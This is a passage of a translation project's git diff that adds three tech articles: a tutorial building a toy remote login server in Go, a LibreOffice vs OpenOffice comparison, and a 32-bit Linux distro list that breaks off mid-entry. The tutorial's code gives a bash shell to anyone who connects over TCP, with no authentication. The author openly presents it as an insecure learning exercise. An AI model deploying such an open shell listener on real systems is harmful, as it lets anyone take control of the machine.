https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-Cognitive-intelligence-types-1.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-3-Machine-learning-API-types-1.jpg diff --git a/sources/tech/20220728 A toy remote login server.md b/sources/tech/20220728 A toy remote login server.md new file mode 100644 index 0000000000..4d5bda2cfd --- /dev/null +++ b/sources/tech/20220728 A toy remote login server.md @@ -0,0 +1,444 @@ +[#]: subject: "A toy remote login server" +[#]: via: "https://jvns.ca/blog/2022/07/28/toy-remote-login-server/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +A toy remote login server +====== + +Hello! The other day we talked about [what happened when you press a key in your terminal][1]. + +As a followup, I thought it might be fun to implement a program that’s like a tiny ssh server, but without the security. You can find it [on github here][2], and I’ll explain how it works in this blog post. + +### the goal: “ssh” to a remote computer + +Our goal is to be able to login to a remote computer and run commands, like you do with SSH or telnet. + +The biggest difference between this program and SSH is that there’s literally no security (not even a password) – anyone who can make a TCP connection to the server can get a shell and run commands. + +Obviously this is not a useful program in real life, but our goal is to learn a little more about how terminals works, not to write a useful program. + +(I will run a version of it on the public internet for the next week though, you can see how to connect to it at the end of this blog post) + +### let’s start with the server! + +We’re also going to write a client, but the server is the interesting part, so let’s start there. We’re going to write a server that listens on a TCP port (I picked 7777) and creates remote terminals for any client that connects to it to use. + +When the server receives a new connection it needs to: + + 1. create a pseudoterminal for the client to use + 2. start a `bash` shell process for the client to use + 3. connect `bash` to the pseudoterminal + 4. continuously copy information back and forth between the TCP connection and the pseudoterminal + + + +I just said the word “pseudoterminal” a lot, so let’s talk about what that means. + +### what’s a pseudoterminal? + +Okay, what the heck is a pseudoterminal? + +A pseudoterminal is a lot like a bidirectional pipe or a socket – you have two ends, and they can both send and receive information. You can read more about the information being sent and received in [what happens if you press a key in your terminal][1] + +Basically the idea is that on one end, we have a TCP connection, and on the other end, we have a `bash` shell. So we need to hook one part of the pseudoterminal up to the TCP connection and the other end to bash. + +The two parts of the pseudoterminal are called: + + * the “pseudoterminal master”. This is the end we’re going to hook up to the TCP connection. + * the “slave pseudoterminal device”. We’re going to set our bash shell’s `stdout`, `stderr`, and `stdin` to this. + + + +Once they’re conected, we can communicate with `bash` over our TCP connection and we’ll have a remote shell! + +### why do we need this “pseudoterminal” thing anyway? + +You might be wondering – Julia, if a pseudoterminal is kind of like a socket, why can’t we just set our bash shell’s `stdout` / `stderr` / `stdin` to the TCP socket? + +And you can! We could write a TCP connection handler like this that does exactly that, it’s not a lot of code ([server-notty.go][3]). + +``` + + func handle(conn net.Conn) { + tty, _ := conn.(*net.TCPConn).File() + // start bash with tcp connection as stdin/stdout/stderr + cmd := exec.Command("bash") + cmd.Stdin = tty + cmd.Stdout = tty + cmd.Stderr = tty + cmd.Start() + } + +``` + +It even kind of works – if we connect to it with `nc localhost 7778`, we can run commands and look at their output. + +But there are a few problems. I’m not going to list all of them, just two. + +**problem 1: Ctrl + C doesn’t work** + +The way Ctrl + C works in a remote login session is + + * you press ctrl + c + * That gets translated to `0x03` and sent through the TCP connection + * The terminal receives it + * the Linux kernel on the other end notes “hey, that was a Ctrl + C!” + * Linux sends a `SIGINT` to the appropriate process (more on what the “appropriate process” is exactly later) + + + +If the “terminal” is just a TCP connection, this doesn’t work, because when you send `0x04` to a TCP connection, Linux won’t magically send `SIGINT` to any process. + +**problem 2: `top` doesn’t work** + +When I try to run `top` in this shell, I get the error message `top: failed tty get`. If we strace it, we see this system call: + +``` + + ioctl(2, TCGETS, 0x7ffec4e68d60) = -1 ENOTTY (Inappropriate ioctl for device) + +``` + +So `top` is running an `ioctl` on its output file descriptor (2) to get some information about the terminal. But Linux is like “hey, this isn’t a terminal!” and returns an error. + +There are a bunch of other things that go wrong, but hopefully at this point you’re convinced that we actually need to set bash’s stdout/stderr to be a terminal, not some other thing like a socket. + +So let’s start looking at the server code and see what creating a pseudoterminal actually looks like. + +### step 1: create a pseudoterminal + +Here’s some Go code to create a pseudoterminal on Linux. This is copied from [github.com/creack/pty][4], but I removed some of the error handling to make the logic a bit easier to follow: + +``` + + pty, _ := os.OpenFile("/dev/ptmx", os.O_RDWR, 0) + sname := ptsname(p) + unlockpt(p) + tty, _ := os.OpenFile(sname, os.O_RDWR|syscall.O_NOCTTY, 0) + +``` + +In English, what we’re doing is: + + * open `/dev/ptmx` to get the “pseudoterminal master” Again, that’s the part we’re going to hook up to the TCP connection + * get the filename of the “slave pseudoterminal device”, which is going to be `/dev/pts/13` or something. + * “unlock” the pseudoterminal so that we can use it. I have no idea what the point of this is (why is it locked to begin with?) but you have to do it for some reason + * open `/dev/pts/13` (or whatever number we got from `ptsname`) to get the “slave pseudoterminal device” + + + +What do those `ptsname` and `unlockpt` functions do? They just make some `ioctl` system calls to the Linux kernel. All of the communication with the Linux kernel about terminals seems to be through various `ioctl` system calls. + +Here’s the code, it’s pretty short: (again, I just copied it from [creack/pty][5]) + +``` + + func ptsname(f *os.File) string { + var n uint32 + ioctl(f.Fd(), syscall.TIOCGPTN, uintptr(unsafe.Pointer(&n))) + return "/dev/pts/" + strconv.Itoa(int(n)) + } + + func unlockpt(f *os.File) { + var u int32 + // use TIOCSPTLCK with a pointer to zero to clear the lock + ioctl(f.Fd(), syscall.TIOCSPTLCK, uintptr(unsafe.Pointer(&u))) + } + +``` + +### step 2: hook the pseudoterminal up to `bash` + +The next thing we have to do is connect the pseudoterminal to `bash`. Luckily, that’s really easy – here’s the Go code for it! We just need to start a new process and set the stdin, stdout, and stderr to `tty`. + +``` + + cmd := exec.Command("bash") + cmd.Stdin = tty + cmd.Stdout = tty + cmd.Stderr = tty + cmd.SysProcAttr = &syscall.SysProcAttr{ + Setsid: true, + } + cmd.Start() + +``` + +Easy! Though – why do we need this `Setsid: true` thing, you might ask? Well, I tried commenting out that code to see what went wrong. It turns out that what goes wrong is – Ctrl + C doesn’t work anymore! + +`Setsid: true` creates a new **session** for the new bash process. But why does that make `Ctrl + C` work? How does Linux know which process to send `SIGINT` to when you press `Ctrl + C`, and what does that have to do with sessions? + +### how does Linux know which process to send Ctrl + C to? + +I found this pretty confusing, so I reached for my favourite book for learning about this kind of thing: [the linux programming interface][6], specifically chapter 34 on process groups and sessions. + +That chapter contains a few key facts: (#3, #4, and #5 are direct quotes from the book) + + 1. Every process has a **session id** and a **process group id** (which may or may not be the same as its PID) + 2. A session is made up of multiple process groups + 3. All of the processes in a session share a single controlling terminal. + 4. A terminal may be the controlling terminal of at most one session. + 5. At any point in time, one of the process groups in a session is the **foreground process group** for the terminal, and the others are background process groups. + 6. When you press `Ctrl+C` in a terminal, SIGINT gets sent to all the processes in the foreground process group + + + +What’s a process group? Well, my understanding is that: + + * processes in the same pipe `x | y | z` are in the same process group + * processes you start on the same shell line (`x && y && z`) are in the same process group + * child processes are by default in the same process group, unless you explicitly decide otherwise + + + +I didn’t know most of this (I had no idea processes had a session ID!) so this was kind of a lot to absorb. I tried to draw a sketchy ASCII art diagram of the situation + +``` + + (maybe) terminal --- session --- process group --- process + | |- process + | |- process + |- process group + | + |- process group + +``` + +So when we press Ctrl+C in a terminal, here’s what I think happens: + + * `\x04` gets written to the “pseudotermimal master” of a terminal + * Linux finds the **session** for that terminal (if it exists) + * Linux find the **foreground process group** for that session + * Linux sends `SIGINT` + + + +If we don’t create a new session for our new bash process, our new pseudoterminal actually won’t have **any** session associated with it, so nothing happens when we press `Ctrl+C`. But if we do create a new session, then the new pseudoterminal will have the new session associated with it. + +### how to get a list of all your sessions + +As a quick aside, if you want to get a list of all the sessions on your Linux machine, grouped by session, you can run: + +``` + + $ ps -eo user,pid,pgid,sess,cmd | sort -k3 + +``` + +This includes the PID, process gruoup ID, and session ID. As an example of the output, here are the two processes in the pipeline: + +``` + + bork 58080 58080 57922 ps -eo user,pid,pgid,sess,cmd + bork 58081 58080 57922 sort -k3 + +``` + +You can see that they share the same process group ID and session ID, but of course they have different PIDs. + +That was kind of a lot but that’s all we’re going to say about sessions and process groups in this post. Let’s keep going! + +### step 3: set the window size + +We need to tell the terminal how big to be! + +Again, I just copied this from `creack/pty`. I decided to hardcode the size to 80x24. + +``` + + Setsize(tty, &Winsize{ + Cols: 80, + Rows: 24, + }) + +``` + +Like with getting the terminal’s pts filename and unlocking it, setting the size is just one `ioctl` system call: + +``` + + func Setsize(t *os.File, ws *Winsize) { + ioctl(t.Fd(), syscall.TIOCSWINSZ, uintptr(unsafe.Pointer(ws))) + } + +``` + +Pretty simple! We could do something smarter and get the real window size, but I’m too lazy. + +### step 4: copy information between the TCP connection and the pseudoterminal + +As a reminder, our rough steps to set up this remote login server were: + + 1. create a pseudoterminal for the client to use + 2. start a `bash` shell process + 3. connect `bash` to the pseudoterminal + 4. continuously copy information back and forth between the TCP connection and the pseudoterminal + + + +We’ve done 1, 2, and 3, now we just need to ferry information between the TCP connection and the pseudoterminal. + +There are two `io.Copy` calls, one to copy the input _from_ the tcp connection, and one to copy the output _to_ the TCP connection. Here’s what the code looks like: + +``` + + go func() { + io.Copy(pty, conn) + }() + io.Copy(conn, pty) + +``` + +The first one is in a goroutine just so they can both run in parallel. + +Pretty simple! + +### step 5: exit when we’re done + +I also added a little bit of code to close the TCP connection when the command exits + +``` + + go func() { + cmd.Wait() + conn.Close() + }() + +``` + +And that’s it for the server! You can see all of the Go code here: [server.go][2]. + +### next: write a client + +Next, we have to write a client. This is a lot than the server because we don’t need to do quite as much terminal setup. there are just 3 steps: + + 1. Put the terminal into raw mode + 2. copy stdin/stdout to the TCP connection + 3. reset the terminal + + + +### client step 1: put the terminal into “raw” mode + +We need to put the client terminal into “raw” mode so that every time you press a key, it gets sent to the TCP connection immediately. If we don’t do this, everything will only get sent when you press enter. + +“Raw mode” isn’t actually a single thing, it’s a bunch of flags that you want to turn off. There’s a good tutorial explaining all the flags we have to turn off called [Entering raw mode][7]. + +Like everything else with terminals, this requires `ioctl` system calls. In this case we get the terminal’s current settings, modify them, and save the old settings so that we can restore them later. + +I figured out how to do this in Go by going to and typing in `syscall.TCSETS` to find some other Go code that was doing the same thing. + +``` + + func MakeRaw(fd uintptr) syscall.Termios { + // from https://github.com/getlantern/lantern/blob/devel/archive/src/golang.org/x/crypto/ssh/terminal/util.go + var oldState syscall.Termios + ioctl(fd, syscall.TCGETS, uintptr(unsafe.Pointer(&oldState))) + + newState := oldState + newState.Iflag &^= syscall.ISTRIP | syscall.INLCR | syscall.ICRNL | syscall.IGNCR | syscall.IXON | syscall.IXOFF + newState.Lflag &^= syscall.ECHO | syscall.ICANON | syscall.ISIG + ioctl(fd, syscall.TCSETS, uintptr(unsafe.Pointer(&newState))) + return oldState + } + +``` + +### client step 2: copy stdin/stdout to the TCP connection + +This is exactly like what we did with the server. It’s very little code: + +``` + + go func() { + io.Copy(conn, os.Stdin) + }() + io.Copy(os.Stdout, conn) + +``` + +### client step 3: restore the terminal’s state + +We can put the terminal back into the mode it started in like this (another `ioctl`!): + +``` + + func Restore(fd uintptr, oldState syscall.Termios) { + ioctl(fd, syscall.TCSETS, uintptr(unsafe.Pointer(&oldState))) + } + +``` + +### we did it! + +We have written a tiny remote login server that lets anyone log in! Hooray! + +Obviously this has zero security so I’m not going to talk about that aspect. + +### it’s running on the public internet! you can try it out! + +For the next week or so I’m going to run a demo of this on the internet at `tetris.jvns.ca`. It runs tetris instead of a shell because I wanted to avoid abuse, but if you want to try it with a shell you can run it on your own computer :). + +If you want to try it out, you can use `netcat` as a client instead of the custom Go client program we wrote, because copying information to/from a TCP connection is what netcat does. Here’s how: + +``` + + stty raw -echo && nc tetris.jvns.ca 7777 && stty sane + +``` + +This will let you play a terminal tetris game called `tint`. + +You can also use the [client.go program][8] and run `go run client.go tetris.jvns.ca 7777`. + +### this is not a good protocol + +This protocol where we just copy bytes from the TCP connection to the terminal and nothing else is not good because it doesn’t allow us to send over information information like the terminal or the actual window size of the terminal. + +I thought about implementing telnet’s protocol so that we could use telnet as a client, but I didn’t feel like figuring out how telnet works so I didn’t. (the server 30% works with telnet as is, but a lot of things are broken, I don’t quite know why, and I didn’t feel like figuring it out) + +### it’ll mess up your terminal a bit + +As a warning: using this server to play tetris will probably mess up your terminal a bit because it sets the window size to 80x24. To fix that I just closed the terminal tab after running that command. + +If we wanted to fix this for real, we’d need to restore the window size after we’re done, but then we’d need a slightly more real protocol than “just blindly copy bytes back and forth with TCP” and I didn’t feel like doing that. + +Also it sometimes takes a second to disconnect after the program exits for some reason, I’m not sure why that is. + +### other tiny projects + +That’s all! There are a couple of other similar toy implementations of programs I’ve written here: + + * [toy tls 1.3 implementation][9] + * [toy dns resolver][10] + + + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/07/28/toy-remote-login-server/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://jvns.ca/blog/2022/07/20/pseudoterminals/ +[2]: https://github.com/jvns/tiny-remote-login/blob/main/server.go +[3]: https://github.com/jvns/tiny-remote-login/blob/main/server-notty.go +[4]: https://github.com/creack/pty/blob/7de28cee0d53510e719c1aeb1850af0fa647c343/pty_linux.go +[5]: https://github.com/creack/pty/blob/7de28cee0d53510e719c1aeb1850af0fa647c343/pty_linux.go#L41-L54 +[6]: https://man7.org/tlpi/ +[7]: https://viewsourcecode.org/snaptoken/kilo/02.enteringRawMode.html +[8]: https://github.com/jvns/tiny-remote-login/blob/main/client.go +[9]: https://jvns.ca/blog/2022/03/23/a-toy-version-of-tls/ +[10]: https://jvns.ca/blog/2022/02/01/a-dns-resolver-in-80-lines-of-go/ diff --git a/sources/tech/20220728 LibreOffice vs OpenOffice- All You Need to Know-.md b/sources/tech/20220728 LibreOffice vs OpenOffice- All You Need to Know-.md new file mode 100644 index 0000000000..f63fa208eb --- /dev/null +++ b/sources/tech/20220728 LibreOffice vs OpenOffice- All You Need to Know-.md @@ -0,0 +1,207 @@ +[#]: subject: "LibreOffice vs OpenOffice: All You Need to Know?" +[#]: via: "https://itsfoss.com/libreoffice-vs-openoffice/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +LibreOffice vs OpenOffice: All You Need to Know? +====== + +LibreOffice and OpenOffice are two popular [open-source alternatives to Microsoft Office][1]. + +Any of them can be recommended if you are looking for an open-source office suite with a word processor, spreadsheet, presentation, and a few other programs. + +However, to make the best of an office suite, you should know the differences between them to decide what’s best for you. + +Should you use LibreOffice or OpenOffice? What are the differences? Here, I explore more about that. + +### LibreOffice vs. OpenOffice: Origins + +![libreoffice vs openoffice][2] + +OpenOffice.org was a project developed by Sun Microsystems. It was introduced as an open-source version of StarOffice (acquired by them initially) to compete with Microsoft Office. + +Later, Oracle acquired Sun Microsystems and eventually ditched OpenOffice.org while submitting the code base to Apache. + +When Apache started maintaining it, the name of the office suite was tweaked to “OpenOffice” or Apache OpenOffice. + +During this transition period, The Document Foundation forked OpenOffice.org to create LibreOffice, fearing that Oracle would discontinue the project. + +So, LibreOffice was created as a replacement for OpenOffice.org. + +But, now that OpenOffice still exists and is actively maintained, why should you choose LibreOffice? Isn’t OpenOffice good enough? What are the similarities between them? + +### What’s Common in LibreOffice and Apache OpenOffice? + +LibreOffice and OpenOffice have a few things in common. + +You can use any of them if all you need is to create a basic document, spreadsheet, or presentation without requiring any complex operations or shortcuts to improve productivity. + +Simply put, you can count on both if you require an open-source office suite on Linux, Windows, and macOS. + +LibreOffice and OpenOffice are capable enough to open various file formats that include Microsoft’s DOCX, PPT, and more. + +Unfortunately, the similarities fade away as you look for **various features, user interface, file format compatibility, export capabilities**, and other characteristics. + +Of course, if you start using them extensively, you shall notice the differences. + +But, to save you from the trouble, let me highlight the differences here: + +### Installation and Platform Availability + +The first step to the user experience is the installation procedure and platform availability. + +The program is a big let-down if it is tricky to install and not supported for multiple platforms. + +In this case, LibreOffice and Apache OpenOffice are officially available for **Linux, Windows, and macOS**. + +When it comes to mobile platforms, you can find [Collabora Office][3] (based on LibreOffice) on the Play Store (Android) and the App Store (iOS). It comes close to an official port of LibreOffice, considering Collabora is its commercial partner. + +While you can also use them or any other community/third-party port as a replacement for OpenOffice on mobiles, **it has no official ports available**. + +Now that you know the supported platforms, how easy is it to install them? + +**For Linux,**LibreOffice is available in the official repositories and listed in the software center and package managers. So, you are a couple of clicks away from setting it up on your Linux system. + +![libreoffice software center][4] + +Unfortunately, OpenOffice is a hassle to install. It is not available in the repositories, nor you can find it in the software center. Moreover, if you already have LibreOffice pre-installed, you will have to remove any traces before attempting to install OpenOffice (to avoid installation conflict). + +You will have to download the official packages (per your Linux distribution) from its website, extract it, and use a couple of commands to [install OpenOffice on Linux][5]. + +![openoffice debs linux][6] + +**For Windows and macOS**, the installation is easy, where [you download the installer package][7] and follow the on-screen instructions. + +[LibreOffice also offers an alternative way][8] (through its partners) to get it, using the Microsoft Store and the Mac App Store. You will have to pay for them, though. Part of it is donated to the Document Foundation and part of it helps the development of LibreOffice. + +Not to forget, LibreOffice can also be used on Chromebooks, thanks to [Collabora Office][9]. + +**To sum up, LibreOffice provides better platform availability and easier installation procedure, which can make OpenOffice a tough choice to recommend.** + +### User Experience + +LibreOffice presents a pleasing user interface that blends in with modern standards. LibreOffice should look fine on most modern hardware, whether you have a 2K display or a 4K display. + +![libreoffice home 1][10] + +You can access all the tools quickly from its main launcher, which is a good experience. The Writer Document, Spreadsheet, and other programs offer an easy-to-use interface that looks well-organized. + +![libreoffice writer][11] + +Apache OpenOffice provides a dated user interface. So, if you are looking for a modern open-source office suite, LibreOffice takes the cake. + +![openoffice home][12] + +Of course, some users prefer the classic user interface, considering they are quite familiar with it, and their usage is limited on older hardware. + +![openoffice writer][13] + +In other words, OpenOffice is still usable, but it may not be an intuitive experience for most modern users. + +If you closely compare the user interface elements, it will vary based on the latest version available at the time you are reading this article; hence, we avoid making specific visual comparisons. + +### Features + +The need for a robust feature-set depends on the type of files you work with. + +By default, you get the following programs with OpenOffice and LibreOffice: + +* Math (Scientific formula) +* Writer (Documents) +* Impress (Presentations) +* Draw (Drawings, Flow Charts, etc.) +* Calc (Spreadsheets) +* Base (Database) + +Whether you utilize the word processor (Writer), spreadsheet (Calc), or presentations, you get all the same standard features. + +However, LibreOffice gets the edge if you work with complex documents requiring access to **more templates, functions, import/export options, and advanced formatting**. + +### File Format Compatibility + +![file format illustration][14] + +OpenOffice supports almost all the same file extensions you can expect with LibreOffice. + +However, LibreOffice also supports exporting in some of the same file formats, which OpenOffice does not. + +For instance, you can open a **.DOCX** file with OpenOffice without hiccups, but you cannot save it/export the document preserving the file extension. + +You can only save it as .odt/.doc./.ott and a few similar file formats. + +Similarly, you do not get support for .xslx and .pptx, modern file formats usually used for spreadsheets and presentations. + +Sure, if you do not rely on these file formats, you can try using OpenOffice. Still, when collaborating with a user with a newer file format, you will encounter compatibility/formatting issues that could affect your work. + +Considering OpenOffice lacks numerous features, it may not be wise to depend on it to access newer file formats; you could lose significant details due to bad compatibility. + +### Updates + +![software update illustration][15] + +To improve your productivity with the program and get enhanced performance, newer features, and security fixes, opting for a software tool that gets regular updates is recommended. + +Technically, both receive regular updates. But, OpenOffice is limited to bug fixes and minor updates. + +LibreOffice has more development activity, frequent bug fixes/minor updates, regular major upgrades with newer features, and improved user experience. + +No wonder why [LibreOffice wrote an open letter to Apache][16] to discontinue OpenOffice and divert those resources to help LibreOffice development. + +### Enterprise Support and Online Collaboration Options + +![enterprise illustration][17] + +Thanks to [Collabora Office][18], you can get enterprise support while being able to use LibreOffice at your workplace. You can also deploy LibreOffice on your servers for a collaborative workspace, thanks to [Collabora Online][19]. + +Unfortunately, Apache OpenOffice does not have any enterprise support options. So, it is best suited for home users, if at all. + +### Licensing + +There are no licensing issues that would stop you or discourage you from using any of these programs. However, this information could be useful for contributors to the project. + +LibreOffice utilizes Mozilla Public License v2.0 while Apache OpenOffice is available under the Apache License 2.0. + +### LibreOffice vs. OpenOffice: What Should You Pick? + +LibreOffice is an easy choice to recommend for its modern design, more functionalities, and support for newer file formats. + +OpenOffice can be a solution for users acquainted with older office suite interfaces and who want it to work without hiccups in their 32-bit systems. Otherwise, it should remain an alternative solution in cases where LibreOffice fails to work for some reason. + +We could tell you that the choice depends on your personal preferences, but I’d be lying if I do not mention LibreOffice is the better choice if you regularly work with documents. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/libreoffice-vs-openoffice/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-free-open-source-alternatives-microsoft-office/ +[2]: https://itsfoss.com/wp-content/uploads/2022/07/libreoffice-vs-openoffice.jpg +[3]: https://www.collaboraoffice.com/ +[4]: https://itsfoss.com/wp-content/uploads/2022/07/libreoffice-software-center.png +[5]: https://itsfoss.com/install-openoffice-ubuntu-linux/ +[6]: https://itsfoss.com/wp-content/uploads/2022/07/openoffice-debs-linux.png +[7]: https://www.libreoffice.org/download/download/ +[8]: https://www.libreoffice.org/download/libreoffice-from-microsoft-and-mac-app-stores/ +[9]: https://www.collaboraoffice.com/press-releases/collabora-office-ships-for-chromebooks/ +[10]: https://itsfoss.com/wp-content/uploads/2022/07/libreoffice-home-1.png +[11]: https://itsfoss.com/wp-content/uploads/2022/07/libreoffice-writer.png +[12]: https://itsfoss.com/wp-content/uploads/2022/07/openoffice-home.png +[13]: https://itsfoss.com/wp-content/uploads/2022/07/openoffice-writer.png +[14]: https://itsfoss.com/wp-content/uploads/2022/07/file-format-illustration.jpg +[15]: https://itsfoss.com/wp-content/uploads/2022/07/software-update-illustration.jpg +[16]: https://itsfoss.com/libreoffice-letter-openoffice/ +[17]: https://itsfoss.com/wp-content/uploads/2022/07/enterprise-illustration.jpg +[18]: https://www.collaboraoffice.com/ +[19]: https://www.collaboraoffice.com/collabora-online/ diff --git a/sources/tech/20220728 Top 10 32-Bit Linux Distributions in 2022 [Compared].md b/sources/tech/20220728 Top 10 32-Bit Linux Distributions in 2022 [Compared].md new file mode 100644 index 0000000000..d7f1d4e2d2 --- /dev/null +++ b/sources/tech/20220728 Top 10 32-Bit Linux Distributions in 2022 [Compared].md @@ -0,0 +1,257 @@ +[#]: subject: "Top 10 32-Bit Linux Distributions in 2022 [Compared]" +[#]: via: "https://www.debugpoint.com/32-bit-linux-distributions/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Top 10 32-Bit Linux Distributions in 2022 [Compared] +====== +We list the best 32-bit Linux distributions that still support ancient systems. + +![][0] + +### What is happening with 32-bit Linux Distros? + +Linux always supports older hardware, thanks to the community. But more and more Linux operating systems are dropping support for 32-bit systems mainly because it takes additional testing effort to keep another build apart from 64-bit, and the number of 32-bit systems is reducing daily. + +Most of the older hardware manufactured before 2007 has 32-bit architecture-based CPUs, which we mostly know as i386, i586, i486 and x86. However, the hardware manufactured after 2007 are primarily 64-bit and may term as modern. + +Recently, many famous and lightweight Linux distros dropped support for 32-bit architecture. But some projects are still strong and provide users with an option to run the older machines with full functionality. + +I will list the ten best Linux distros that still support 32-bit systems. + +### Top 10 32-bit Linux distros in 2022 + +#### 1. Debian + +Debian Linux is the foundation of hundreds of Linux distributions across multiple architectures. Millions use it as a desktop and server operating system. Debian is a “universal operating system” because it supports x86-64, arm64, armel,armhf, i386, mips, mipsel, mips64el, ppc64el, s390x architectures with work in progress for riscv64. + +In addition, it supports a wide range of hardware and includes free and non-free packages. On the desktop side, all the major [desktop environments][1] are available for you to install on your older hardware. + +Perhaps, it is the safest choice if you are looking for a vanilla 32-bit Linux distro experience. + +![Debian Logo][2] + +#### Why is Debian the best 32-bit distro? + +* Most popular and widely used +* Dependable and used by millions +* Well documentation, tutorials and user guides +* Proper framed future roadmap +* [Support for all architectures and platforms][3] + +[Download Debian][4] + +#### 2. MX Linux + +MX Linux is a systemd-free distro based on Debian stable branch. It is recently trending among users who want a clean system that supports older to modern hardware. + +MX Linux is popular because it’s carefully created to give you a perfect and stable system with its native applications and tools. + +![MX Linux][5] + +The team behind it gives a lot of thought while packaging the applications in this distro. Besides that, it is also based on antiX components and comes with KDE Plasma desktop, Xfce and Fluxbox. + +MX Linux is probably the best choice in this list because it is easy to download and use in older systems. + +![mx linux logo][6] + +#### Why is MX Linux the best? + +* Systemd free, hence faster +* Based on Debian stable, it gives a more stable system +* Unique in-house applications to help users with generic tasks +* 3 desktop flavour options to choose from +* Well-supported community and user-base + +[Download MX Linux][7] + +#### 3. Q4OS + +The third 32-bit Linux distro in this list is Q4OS. Q4OS is a unique Linux operating system based on Debian and brings KDE and Trinity desktop environments. It comes with a 32-bit installer which can be used to install. In addition, Q4OS also features a Windows installer where you can parallel run this distro inside WIndows. + +An exciting and related trivia about Q4OS is that it was created as an alternative to Windows XP when Microsoft discontinued it on 2014. And it’s still going strong and providing a stable 32-bit alternative to many users. + +![Q4OS Logo][8] + +#### Here are some of the critical advantages of Q4OS + +* Well-defined roadmap and unlikely to be discontinued +* Based on Debian and long-term support has been available for more than five years +* Provides KDE and Trinity desktop both (for those who like KDE 3) +* The unique installer gives the ability to install it inside Windows and take advantage of the entire hardware (not like in VM) +* Themes, Software centre, and third-party app installers are available + +[Download Q4OS][9] + +#### 4. NixOS + +The fourth Linux distro in this list of 32-bit distributions is NixOS, built on top of the Nix Package manager. This independent Linux distribution is perfect for DevOps and deployment pipeline tasks and supports atomic updates. It uses a configuration script for several tasks, including installation. + +That said, NixOS is not for the beginner or average Linux users, although it functions like other Linux distributions. It’s not designed to be an end-user Linux operating system. + +However, since it provides a 32-bit variant, it’s perfect for some use cases where you need to set up a remote server or pipeline in older hardware. You can learn more and download using the below link. + +[Download NixOS][10] + +#### 5. Void Linux + +Void Linux is an independent Linux distro (not depending on Debian or Fedora, etc.) which follows a unique rolling release model. It comes with X Binary Package System (XBPS), which helps you to install apps and packages directly from sources. In addition, it uses run unit as init system, instead of systemd. + +Void Linux provides a 32-bit installer with the latest packages alongside the usual 64-bit and ARM installation methods. Hence, you can quickly try it out on your older hardware. Moreover, Void Linux also support all major desktop environments, such as Xfce, Cinnamon, LXDE, LXQt and more. + +![Void Linux Logo][11] + +#### Here are some of the advantages of Void Linux + +* Independent distribution and free from Debian, Ubuntu or Fedora base +* Well-defined path for future updates and continuity +* Excellent XBPS package management system +* A rolling release-based distro which is stable +* All major desktop environments supported + +[Download Void Linux][12] + +#### 6. Zorin OS Lite 15.3 + +Zorin OS is an excellent and popular Linux distribution, a fusion of Xfce and GNOME 3 desktop. It comes with a Pro and Lite version. The Zorin OS Lite version provides a 32-bit installer at the moment. + +![Zorin OS][13] + +But there is a catch. Currently, the Zorin OS 15.3 Lite version only supports the 32-bit version. And its support ends on April 2023. + +After that, Zorin OS will not be supporting the 32-bit version anymore. The reason is it is based on Ubuntu LTS. And Ubuntu discontinued the 32-bit image from Ubuntu 20.04 LTS Focal Fossa version. + +Hence, you can use Zorin OS 15.3 Lite until April 2023 and take advantage of its beautiful desktop and additional features. + +[Download Zorin OS 15.3 Lite (32 bit)][14] + +#### 7. Porteus + +If you are a fan of the Old-KDE desktop and looking for a 32-bit operating system, then you can try Porteus Linux. Porteus is a Slackware Linux spin that features a KDE 4.0+ desktop environment. It is based on bleeding edge Slackware Linux and provides a fast desktop experience. Moreover, it can run from a Live USB/CD. The installer size is 300 MB, perfect for CD-based older hardware. + +![Porteus Logo][15] + +#### The reason why Porteus can be an ideal 32-bit Linux OS + +* Based on bleeding-edge Slackware Linux +* Enjoy the simplicity of Slackware +* Installer size can fit into a CD (300 MB only) +* Legacy KDE 4.0 Desktop support +* Can run off a USB or CD + +[Download Porteus Linux][16] + +#### 8. antiX + +The antiX Linux is slightly different on the desktop level than other 32-bit distros in this list. It is a lightweight Linux distribution based on Debian stable branch and brings some exciting features. First and foremost, it comes with a 32-bit installer, which has four variants – Full, Core, Base and Net. Secondly, it features famous primarily Windows Managers and Not desktop environments. Hence it is faster. + +The antiX Linux features IceWM, Fluxbox, and ROX desktop options. In addition, it is free of systemd and uses sysVinit & runit as init system. + +A perfect 32-bit Linux distribution that brings window manager, sydtemd-free and Debian base. + +![Antix Logo][17] + +#### Why is antiX an excellent 32-bit distro? + +* Provides stability with Debian stable branch +* Provides a 32-bit installer with four variants +* Systemd free distribution +* Window manager support, rather than desktops + +[Download antiX][18] + +#### 9. BunsenLabs Linux + +Remember the famous Crunchbang project? The BunsenLabs Linux is a successor of the Crunchbang project based on the Debian stable branch. Like antiX, it also features Windows Manager rather than desktop environments. It brings Openbox Window manager with an excellent tin2 panel at its core. In addition, some goodies such as Conky presets, jgmenu makes it a well-designed 32-bit distro for that ancient hardware. + +![BunsenLabs Logo][19] + +#### Why is BunsenLabs the best? + +* Powered by Debian stable branch +* Openbox Window manager is for the desktop experience +* Pre-configured Concky with tin2 panel, jgmenu +* A good amount of help and support is available + +[Download BunsenLabs][20] + +#### 10. Alpine Linux + +A list of 32-bit Linux distributions is incomplete without Alpine Linux. Alpine Linux is an almost two-decade-old Linux distro created for developers and power users. It’s unique and provides a 